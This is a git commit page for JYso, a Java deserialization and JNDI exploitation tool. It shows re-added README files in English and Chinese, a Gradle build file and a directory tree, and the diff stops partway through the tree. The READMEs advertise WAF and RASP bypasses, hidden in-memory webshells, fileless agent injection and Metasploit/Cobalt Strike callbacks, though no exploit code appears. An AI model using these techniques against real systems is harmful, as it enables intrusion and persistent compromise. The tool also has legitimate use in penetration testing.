refactor: mac

This commit is contained in:
qi4l
2026-04-28 21:30:45 +08:00
parent 12e1442a9d
commit 2dfb53a66d
187 changed files with 14678 additions and 14681 deletions
+5 -5
View File
@@ -1,6 +1,6 @@
.idea/
.gradle/
out/
.DS_Store
/build
.idea/
.gradle/
out/
.DS_Store
/build
1.ser
+673 -673
View File
File diff suppressed because it is too large Load Diff
+87 -87
View File
@@ -1,87 +1,87 @@
<p align="center">
<img src="docs/img/logo.png" width="120">
</p>
<h1 align="center"> JYso </h1>
<p align="center">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
## 🚀 Getting Started Guide
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
## 👍 Features
+ JNDI account password startup
+ JNDI route hiding or encryption
+ JNDI high version Bypass
+ Customize the path, password, HTTP header and value of the memory horse
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ Memory horse writes JRE or environment variables to hide
+ Serialized data plus dirty data
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl _bytecodes feature eliminated and size reduced
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
+ Dynamically generate obfuscated class names
+ MSF/CS online
+ Code execution through JDBC
If you have other great ideas, please let me know! 😎
## 🐯 Compile
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
```shell
./gradlew shadowJar
```
## 🌲Directory structure
For more information, please refer to [Directory structure description](docs/directory_structure.md).
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
## ✨ 404Starlink
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 Acknowledgements
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
<p align="center">
<img src="docs/img/logo.png" width="120">
</p>
<h1 align="center"> JYso </h1>
<p align="center">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
## 🚀 Getting Started Guide
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
## 👍 Features
+ JNDI account password startup
+ JNDI route hiding or encryption
+ JNDI high version Bypass
+ Customize the path, password, HTTP header and value of the memory horse
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ Memory horse writes JRE or environment variables to hide
+ Serialized data plus dirty data
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl _bytecodes feature eliminated and size reduced
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
+ Dynamically generate obfuscated class names
+ MSF/CS online
+ Code execution through JDBC
If you have other great ideas, please let me know! 😎
## 🐯 Compile
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
```shell
./gradlew shadowJar
```
## 🌲Directory structure
For more information, please refer to [Directory structure description](docs/directory_structure.md).
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
## ✨ 404Starlink
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 Acknowledgements
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
+89 -89
View File
@@ -1,89 +1,89 @@
<p style="text-align: center;">
<img src="docs/img/logo.png" width="150" alt="100">
</p>
<h1 style="text-align: center;"> JYso </h1>
<p style="text-align: center;">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
## 🚀 上手指南
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
## 👍 特点
+ JNDI 账号密码启动
+ JNDI 路由隐藏或加密
+ JNDI 高版本Bypass
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ 内存马写入 JRE 或环境变量来隐藏
+ 序列化数据加脏数据
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
+ 动态生成混淆的类名
+ MSF/CS 上线
+ 通过JDBC来进行代码执行
如果你有其他很棒的想法请务必告诉我!😎
## 🐯 编译
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell
./gradlew shadowJar
```
## 🌲目录结构
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
## ✨ 404星链计划
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 参考
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
<p style="text-align: center;">
<img src="docs/img/logo.png" width="150" alt="100">
</p>
<h1 style="text-align: center;"> JYso </h1>
<p style="text-align: center;">
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
## 🚀 上手指南
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
## 👍 特点
+ JNDI 账号密码启动
+ JNDI 路由隐藏或加密
+ JNDI 高版本Bypass
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
+ 内存马写入 JRE 或环境变量来隐藏
+ 序列化数据加脏数据
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
+ 动态生成混淆的类名
+ MSF/CS 上线
+ 通过JDBC来进行代码执行
如果你有其他很棒的想法请务必告诉我!😎
## 🐯 编译
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell
./gradlew shadowJar
```
## 🌲目录结构
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
## ✨ CTStack
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
## ✨ 404星链计划
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
## 📷 参考
- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass
- https://github.com/WhiteHSBG/JNDIExploit
- https://github.com/su18/ysoserial
- https://github.com/rebeyond/Behinder
- https://github.com/Whoopsunix/utf-8-overlong-encoding
- https://github.com/mbechler/marshalsec
- https://t.zsxq.com/17LkqCzk8
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://tttang.com/archive/1405/#toc_druid
+143 -143
View File
@@ -1,144 +1,144 @@
plugins {
id 'java'
id 'java-library'
id 'maven-publish'
id 'com.gradleup.shadow' version '9.4.1'
}
repositories {
mavenCentral()
maven {
url = uri('https://repo.jenkins-ci.org/releases/')
}
maven {
url = uri('https://repo.maven.apache.org/maven2/')
}
}
shadowJar {
archiveClassifier = ''
zip64 = true
minimize()
manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
}
configurations.configureEach {
exclude group: 'ch.qos.logback', module: 'logback-classic'
exclude group: 'ch.qos.logback', module: 'logback-core'
}
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
implementation 'cn.hutool:hutool-all:5.7.7'
implementation 'com.alibaba:fastjson:1.2.83'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
implementation 'com.beust:jcommander:1.78'
implementation 'com.caucho:resin:4.0.65'
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
implementation 'com.mchange:c3p0:0.9.5.5'
implementation 'com.nqzero:permit-reflect:0.3'
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
implementation 'com.vaadin:vaadin-server:7.7.14'
implementation 'commons-cli:commons-cli:1.5.0'
implementation 'io.projectreactor:reactor-core:3.4.26'
implementation 'io.undertow:undertow-core:2.2.2.Final'
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
implementation 'javax.servlet:javax.servlet-api:4.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'jboss:jboss-serialization:4.2.2.GA'
implementation 'net.jodah:expiringmap:0.5.9'
implementation 'org.apache.click:click-nodeps:2.3.0'
implementation 'org.apache.commons:commons-collections4:4.0'
implementation 'org.apache.commons:commons-lang3:3.12.0'
implementation 'org.apache.commons:commons-text:1.8'
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
implementation 'org.apache.wicket:wicket-util:6.23.0'
implementation 'org.aspectj:aspectjweaver:1.9.7'
implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.clojure:clojure:1.8.0'
implementation 'org.codehaus.groovy:groovy:2.4.5'
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
implementation 'org.fusesource.jansi:jansi:2.4.0'
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
implementation 'org.javassist:javassist:3.29.2-GA'
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
implementation 'org.jenkins-ci.main:remoting:2.55'
implementation 'org.ow2.asm:asm:8.0.1'
implementation 'org.python:jython-standalone:2.5.2'
implementation 'org.reflections:reflections:0.9.10'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
implementation 'rhino:js:1.7R2'
implementation 'rome:rome:1.0'
implementation 'xerces:xercesImpl:2.12.0'
implementation files('libs/jai-core-1.1.3.jar')
implementation files('libs/weblogic-server.jar')
dependencies {
implementation('commons-collections:commons-collections') {
version {
strictly '3.2.1'
}
}
implementation('org.apache.commons:commons-collections4') {
version {
strictly '4.0'
}
}
}
implementation 'org.codehaus.castor:castor-xml:1.4.1'
implementation 'com.cedarsoftware:json-io:4.9.1'
implementation 'org.jyaml:jyaml:1.3'
implementation 'com.esotericsoftware:kryo:4.0.0'
implementation 'commons-configuration:commons-configuration:1.10'
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
implementation 'org.apache.xbean:xbean-naming:4.5'
implementation 'com.rometools:rome:1.7.0'
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
runtimeOnly libs.org.aspectj.aspectjweaver
compileOnly libs.org.apache.tomcat.tomcat.websocket
}
group = 'org.example'
version = '1.3.7'
description = 'JYso'
java.sourceCompatibility = JavaVersion.VERSION_1_8
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
plugins {
id 'java'
id 'java-library'
id 'maven-publish'
id 'com.gradleup.shadow' version '9.4.1'
}
repositories {
mavenCentral()
maven {
url = uri('https://repo.jenkins-ci.org/releases/')
}
maven {
url = uri('https://repo.maven.apache.org/maven2/')
}
}
shadowJar {
archiveClassifier = ''
zip64 = true
minimize()
manifest {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
}
configurations.configureEach {
exclude group: 'ch.qos.logback', module: 'logback-classic'
exclude group: 'ch.qos.logback', module: 'logback-core'
}
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
implementation 'cn.hutool:hutool-all:5.7.7'
implementation 'com.alibaba:fastjson:1.2.83'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
implementation 'com.beust:jcommander:1.78'
implementation 'com.caucho:resin:4.0.65'
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
implementation 'com.mchange:c3p0:0.9.5.5'
implementation 'com.nqzero:permit-reflect:0.3'
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
implementation 'com.vaadin:vaadin-server:7.7.14'
implementation 'commons-cli:commons-cli:1.5.0'
implementation 'io.projectreactor:reactor-core:3.4.26'
implementation 'io.undertow:undertow-core:2.2.2.Final'
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
implementation 'javax.servlet:javax.servlet-api:4.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'jboss:jboss-serialization:4.2.2.GA'
implementation 'net.jodah:expiringmap:0.5.9'
implementation 'org.apache.click:click-nodeps:2.3.0'
implementation 'org.apache.commons:commons-collections4:4.0'
implementation 'org.apache.commons:commons-lang3:3.12.0'
implementation 'org.apache.commons:commons-text:1.8'
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
implementation 'org.apache.wicket:wicket-util:6.23.0'
implementation 'org.aspectj:aspectjweaver:1.9.7'
implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.clojure:clojure:1.8.0'
implementation 'org.codehaus.groovy:groovy:2.4.5'
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
implementation 'org.fusesource.jansi:jansi:2.4.0'
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
implementation 'org.javassist:javassist:3.29.2-GA'
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
implementation 'org.jenkins-ci.main:remoting:2.55'
implementation 'org.ow2.asm:asm:8.0.1'
implementation 'org.python:jython-standalone:2.5.2'
implementation 'org.reflections:reflections:0.9.10'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
implementation 'rhino:js:1.7R2'
implementation 'rome:rome:1.0'
implementation 'xerces:xercesImpl:2.12.0'
implementation files('libs/jai-core-1.1.3.jar')
implementation files('libs/weblogic-server.jar')
dependencies {
implementation('commons-collections:commons-collections') {
version {
strictly '3.2.1'
}
}
implementation('org.apache.commons:commons-collections4') {
version {
strictly '4.0'
}
}
}
implementation 'org.codehaus.castor:castor-xml:1.4.1'
implementation 'com.cedarsoftware:json-io:4.9.1'
implementation 'org.jyaml:jyaml:1.3'
implementation 'com.esotericsoftware:kryo:4.0.0'
implementation 'commons-configuration:commons-configuration:1.10'
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
implementation 'org.apache.xbean:xbean-naming:4.5'
implementation 'com.rometools:rome:1.7.0'
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
runtimeOnly libs.org.aspectj.aspectjweaver
compileOnly libs.org.apache.tomcat.tomcat.websocket
}
group = 'org.example'
version = '1.3.7'
description = 'JYso'
java.sourceCompatibility = JavaVersion.VERSION_1_8
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
}
+71 -71
View File
@@ -1,72 +1,72 @@
├─.gradle Gradle构建配置文件
│ ├─8.7
│ │ ├─checksums
│ │ ├─dependencies-accessors
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
│ │ │ ├─classes
│ │ │ │ └─org
│ │ │ │ └─gradle
│ │ │ │ └─accessors
│ │ │ │ └─dm
│ │ │ └─sources
│ │ │ └─org
│ │ │ └─gradle
│ │ │ └─accessors
│ │ │ └─dm
│ │ ├─executionHistory
│ │ ├─expanded
│ │ ├─fileChanges
│ │ ├─fileHashes
│ │ └─vcsMetadata
│ ├─buildOutputCleanup
│ └─vcs-1
├─.idea IDEA配置信息文件
│ ├─artifacts
│ ├─codeStyles
│ ├─inspectionProfiles
│ └─libraries
├─docs 有关文档
├─gradle
│ └─wrapper
├─libs 第三方jar
└─src
├─main
│ └─java
│ └─com
│ └─qi4l
│ └─jndi
│ ├─controllers JNDI路由逻辑
│ │ └─utils
│ ├─enumtypes
│ ├─exceptions
│ ├─exploit -cp 模式下的漏洞逻辑
│ ├─gadgets 反序列化链
│ │ ├─annotation
│ │ ├─Config
│ │ └─utils
│ │ ├─beanshell
│ │ ├─cc
│ │ ├─clojure
│ │ ├─dirty
│ │ ├─handle
│ │ ├─jdbc
│ │ ├─jre
│ │ └─utf8OverlongEncoding
│ └─template
│ ├─Agent Agent注入逻辑
│ │ └─utli
│ ├─echo 回显类
│ └─memshell 内存shell逻辑
│ ├─BypassNginxCDN
│ ├─jboss
│ ├─jetty
│ ├─resin
│ ├─shell
│ ├─spring
│ ├─struts2
│ ├─tomcat
│ ├─Tomcat_Spring_Jetty
│ ├─weblogic
│ └─Websphere
└─test
├─.gradle Gradle构建配置文件
│ ├─8.7
│ │ ├─checksums
│ │ ├─dependencies-accessors
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
│ │ │ ├─classes
│ │ │ │ └─org
│ │ │ │ └─gradle
│ │ │ │ └─accessors
│ │ │ │ └─dm
│ │ │ └─sources
│ │ │ └─org
│ │ │ └─gradle
│ │ │ └─accessors
│ │ │ └─dm
│ │ ├─executionHistory
│ │ ├─expanded
│ │ ├─fileChanges
│ │ ├─fileHashes
│ │ └─vcsMetadata
│ ├─buildOutputCleanup
│ └─vcs-1
├─.idea IDEA配置信息文件
│ ├─artifacts
│ ├─codeStyles
│ ├─inspectionProfiles
│ └─libraries
├─docs 有关文档
├─gradle
│ └─wrapper
├─libs 第三方jar
└─src
├─main
│ └─java
│ └─com
│ └─qi4l
│ └─jndi
│ ├─controllers JNDI路由逻辑
│ │ └─utils
│ ├─enumtypes
│ ├─exceptions
│ ├─exploit -cp 模式下的漏洞逻辑
│ ├─gadgets 反序列化链
│ │ ├─annotation
│ │ ├─Config
│ │ └─utils
│ │ ├─beanshell
│ │ ├─cc
│ │ ├─clojure
│ │ ├─dirty
│ │ ├─handle
│ │ ├─jdbc
│ │ ├─jre
│ │ └─utf8OverlongEncoding
│ └─template
